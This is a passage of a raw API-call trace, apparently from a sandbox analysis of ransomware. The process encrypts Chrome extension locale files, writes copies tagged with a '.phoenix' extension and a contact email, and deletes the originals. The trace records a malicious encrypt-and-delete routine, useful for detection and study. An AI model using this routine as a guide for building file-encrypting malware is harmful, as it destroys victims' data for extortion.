	[0263.161] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0263.161] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\sl\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\sl\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0263.161] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151040) returned 1
	[0263.161] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0263.161] ReadFile (in: hFile=0x310, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x282, lpOverlapped=0x0) returned 1
	[0263.163] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x290, dwBufLen=0x290 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x290) returned 1
	[0263.163] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x290, lpOverlapped=0x0) returned 1
	[0263.164] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151440) returned 1
	[0263.164] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0263.164] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0263.164] CryptDestroyKey (hKey=0x151440) returned 1
	[0263.164] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0263.165] CryptDestroyKey (hKey=0x151040) returned 1
	[0263.165] CloseHandle (hObject=0x310) returned 1
	[0263.165] CloseHandle (hObject=0x2b0) returned 1
	[0263.165] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\sl\\messages.json")) returned 1
	[0263.166] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0263.166] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\sr\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0263.167] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=812) returned 1
	[0263.167] CloseHandle (hObject=0x2b0) returned 1
	[0263.167] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\sr\\messages.json")) returned 0x20
	[0263.167] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\sr\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\sr\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0263.167] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\sr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0263.167] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0263.167] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0263.167] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\sr\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\sr\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0263.168] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151440) returned 1
	[0263.168] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0263.168] ReadFile (in: hFile=0x2b0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x32c, lpOverlapped=0x0) returned 1
	[0263.175] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x330, dwBufLen=0x330 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x330) returned 1
	[0263.175] WriteFile (in: hFile=0x310, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x330, lpOverlapped=0x0) returned 1
	[0263.176] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x1517c0) returned 1
	[0263.176] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0263.176] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0263.176] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0263.176] WriteFile (in: hFile=0x310, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0263.176] CryptDestroyKey (hKey=0x151440) returned 1
	[0263.177] CloseHandle (hObject=0x2b0) returned 1
	[0263.177] CloseHandle (hObject=0x310) returned 1
	[0263.177] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\sr\\messages.json")) returned 1
	[0263.178] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0263.178] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\th\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0263.178] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=1099) returned 1
	[0263.178] CloseHandle (hObject=0x310) returned 1
	[0263.178] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\th\\messages.json")) returned 0x20
	[0263.178] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\th\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\th\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0263.179] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\th\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0263.179] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0263.179] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0263.179] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\th\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\th\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0263.179] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151280) returned 1
	[0263.179] CryptSetKeyParam (hKey=0x151280, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0263.179] ReadFile (in: hFile=0x310, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x44b, lpOverlapped=0x0) returned 1
	[0263.214] CryptEncrypt (in: hKey=0x151280, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x450, dwBufLen=0x450 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x450) returned 1
	[0263.214] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x450, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x450, lpOverlapped=0x0) returned 1
	[0263.215] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151600) returned 1
	[0263.215] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0263.215] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0263.215] CryptDestroyKey (hKey=0x151600) returned 1
	[0263.215] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0263.215] CryptDestroyKey (hKey=0x151280) returned 1
	[0263.215] CloseHandle (hObject=0x310) returned 1
	[0263.215] CloseHandle (hObject=0x2b0) returned 1
	[0263.215] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\th\\messages.json")) returned 1
	[0263.216] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0263.216] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\tr\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0263.217] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=650) returned 1
	[0263.217] CloseHandle (hObject=0x2b0) returned 1
	[0263.217] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\tr\\messages.json")) returned 0x20
	[0263.217] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\tr\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\tr\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0263.217] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\tr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0263.217] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0263.218] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0263.218] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\tr\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\tr\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0263.218] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151200) returned 1
	[0263.218] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0263.218] ReadFile (in: hFile=0x2b0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x28a, lpOverlapped=0x0) returned 1
	[0263.220] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x290, dwBufLen=0x290 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x290) returned 1
	[0263.220] WriteFile (in: hFile=0x310, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x290, lpOverlapped=0x0) returned 1
	[0263.224] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151040) returned 1
	[0263.224] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0263.224] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0263.224] CryptDestroyKey (hKey=0x151040) returned 1
	[0263.225] WriteFile (in: hFile=0x310, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0263.225] CryptDestroyKey (hKey=0x151200) returned 1
	[0263.225] CloseHandle (hObject=0x2b0) returned 1
	[0263.225] CloseHandle (hObject=0x310) returned 1
	[0263.225] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\tr\\messages.json")) returned 1
	[0263.226] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0263.226] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\uk\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0263.226] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=789) returned 1
	[0263.226] CloseHandle (hObject=0x310) returned 1
	[0263.226] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\uk\\messages.json")) returned 0x20
	[0263.226] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\uk\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\uk\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0263.227] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\uk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0263.227] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0263.227] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0263.227] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\uk\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\uk\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0263.227] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151640) returned 1
	[0263.227] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0263.227] ReadFile (in: hFile=0x310, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x315, lpOverlapped=0x0) returned 1
	[0263.233] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x320, dwBufLen=0x320 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x320) returned 1
	[0263.234] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x320, lpOverlapped=0x0) returned 1
	[0263.235] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151540) returned 1
	[0263.235] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0263.235] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0263.235] CryptDestroyKey (hKey=0x151540) returned 1
	[0263.235] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0263.235] CryptDestroyKey (hKey=0x151640) returned 1
	[0263.235] CloseHandle (hObject=0x310) returned 1
	[0263.235] CloseHandle (hObject=0x2b0) returned 1
